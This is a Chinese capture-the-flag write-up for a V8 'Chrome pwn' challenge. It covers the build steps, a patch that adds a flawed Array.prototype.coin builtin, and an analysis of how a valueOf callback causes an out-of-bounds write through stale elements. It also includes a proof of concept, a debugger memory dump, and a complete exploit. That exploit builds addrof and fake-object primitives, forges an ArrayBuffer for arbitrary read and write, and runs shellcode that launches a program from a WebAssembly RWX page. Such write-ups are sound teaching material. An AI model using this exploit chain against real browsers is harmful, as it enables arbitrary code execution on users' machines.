数字经济线下-Chrome pwn

环境搭建

使用如下方法编译

1
2
3
4
5
6
7
8
9
10
11
git reset --hard 0ec93e047216979431bd6f147ab5956bb729afa2
gclient sync

# 加入patch,编译release版本的d8
git apply --ignore-space-change --ignore-whitespace ../diff.patch
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
#该题其实不能使用debug版本的v8,只能使用release版本的v8
# 编译debug版本的d8
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

漏洞分析

题目给出的patch文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace

+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
//判断参数是否为三个
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
//将elements保存到局部变量
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
//第一个参数设置为length
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
//第二个为value
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
//判断数组长度是否大于37
+ if(37 < array_length){
//将数组第37个元素设置为value
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 3412edb89d..1837771098 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -367,6 +367,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayCoin) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index f5fa8f19fe..03a7b601aa 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayCoin:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index e7542dcd6b..059b54731b 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
Builtins::kArrayPrototypeCopyWithin, 2, false);
+ SimpleInstallFunction(isolate_, proto, "coin",
+ Builtins::kArrayCoin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
SimpleInstallFunction(isolate_, proto, "find",

代码的主要漏洞存在调用Object::ToNumber()函数中,该函数可以通过valueOf()触发回调函数,在回调函数中重新设置数组的length,就可以让数组重新分配elements的内存空间。
如果最开始让数组的长度小于37,回调函数中将其设置为一个大于37的值,这样在判断数组长度的时候是满足大于37这个条件的,但是其中的set操作是对保存在局部变量中的elements进行操作的。由于数组重新分配了elements的空间,所以保存在局部变量中的elements相当于一个已经释放了的指针,对该指针指向的elements的第37个元素进行set操作,就会导致越界写数据。

漏洞利用

这个漏洞利用其实非常简单,我们可以在ToNumber的回调中增加数组的长度来让其重新分配空间造成UAF,如果数组开始的长度小于37则会发生越界写。如果越界写的长度刚好是另外一个数组的长度字段,那就有一个很大的数组越界了。
我们可以写一个POC来具体查看一下

1
2
3
4
5
6
7
8
9
10
var val = {
valueOf:function(){
array.length = 0x100;
return 1024;
}
}
var array = new Array(30);
let float_array = [1.1, 2.2];
array.coin(34, val);
console.log("float_array length is " + float_array.length);

输出如下

1
2
./out/x64.release/d8 poc.js
--> float_array length is 1083179008

我们可以发现float_array的长度被改成了非常大的一个数字,那么造成这样的原因就是我们上述所说的漏洞。下面我们可以查看一下内存布局来看一下为什么数组大小为30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> x/30gx 0x082944acbc99-1
0x82944acbc98: 0x00001bbdfd4407b1 0x0000001e00000000
0x82944acbca8: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbcb8: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbcc8: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbcd8: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbce8: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbcf8: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbd08: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbd18: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbd28: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbd38: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbd48: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbd58: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbd68: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbd78: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
pwndbg>
0x82944acbd88: 0x00001bbdfd4405b1 0x00001bbdfd4405b1
0x82944acbd98: 0x00001bbdfd4414a9 0x0000000200000000
0x82944acbda8: 0x3ff199999999999a 0x400199999999999a
0x82944acbdb8: 0x00000681db9c2fc9 0x00001bbdfd440c21
0x82944acbdc8: 0x0000082944acbd99 0x0000000200000000 --> float_array length

我们可以数一下发现刚好第37个元素是float_array length,那么下面我们就可以编写我们的exp了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function hex(b) {
return "0x" + b.toString(16).padStart(8, "0");
}
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
//板子
var val = {
valueOf:function() {
array.length = 0x100;
return 1024;
}
}
let array = new Array(30);
let float_array = [1.1, 2.2];
var obj = {};
var obj_array = [obj];
array.coin(34, val);
var float_map = float_array[2];
console.log("map addr is: " + hex(f2i(float_map)));
var obj_map = float_array[0x10];
console.log("obj map addr is " + hex(f2i(float_array[0x10])));
// %DebugPrint(float_array);
// %DebugPrint(obj_array);
// %SystemBreak();
function leak_addr(obj1){
obj_array[0] = obj1;
float_array[0x10] = float_map; //将obj的map改成float,这样就可以直接读取地址
var addr = f2i(obj_array[0]) -1n;
float_array[0x10] = obj_map;
return addr;
}
function leak(obj1){
obj_array[0] = obj1;
float_array[0x10] = float_map; //将obj的map改成float,这样就可以直接读取地址
var addr = f2i(obj_array[0]) - 1n;
float_array[0x10] = obj_map;
return addr;
}
function fake_array(addr){
float_array[0x10] = float_map;
obj_array[0] = i2f(addr + 1n);
float_array[0x10] = obj_map;
var fake_obj = obj_array[0];
return fake_obj;
}
let fake = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var fake_addr = leak_addr(fake);
var rwx_addr = leak(wasmInstance) + 0x88n;
console.log("rwx addr = " + hex(rwx_addr));
var element_addr = (fake_addr) - 0x50n;
console.log("element_addr = " + hex(element_addr));

// fake ArrayBuffer
//先构造fake map,这里贴一下其结构防止看不懂
// 0x1e2767fc21b8: 0x00003ad4ec5c0189 0x1900042317080808
// 0x1e2767fc21c8: 0x00000000082003ff 0x00000efdb62ce939
fake[0] = i2f(0n);
fake[1] = i2f(0x1900042317080808n);
fake[2] = i2f(0x82003ffn);
fake[3] = i2f(0n);

fake[4] = i2f(element_addr + 1n);
fake[5] = i2f(0n);
fake[6] = i2f(0n);
fake[7] = i2f(0x40000n);
fake[8] = i2f(rwx_addr); //back store
fake[9] = i2f(0x2n);
var arb_buf = fake_array(element_addr + 0x20n);
// %DebugPrint(fake);
// %SystemBreak();
var dv = new DataView(arb_buf);
var wasm_shellcode_addr = dv.getBigInt64(0, true);
console.log("wasm shellcode addr : " + hex(wasm_shellcode_addr));
fake[8] = i2f(wasm_shellcode_addr);
let sc = [
72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5
];
for (var i=0;i<sc.length;i++) {
//adv.setUint32(i*4,shellcode[i],true);
dv.setUint8(i,sc[i],true);
}
f();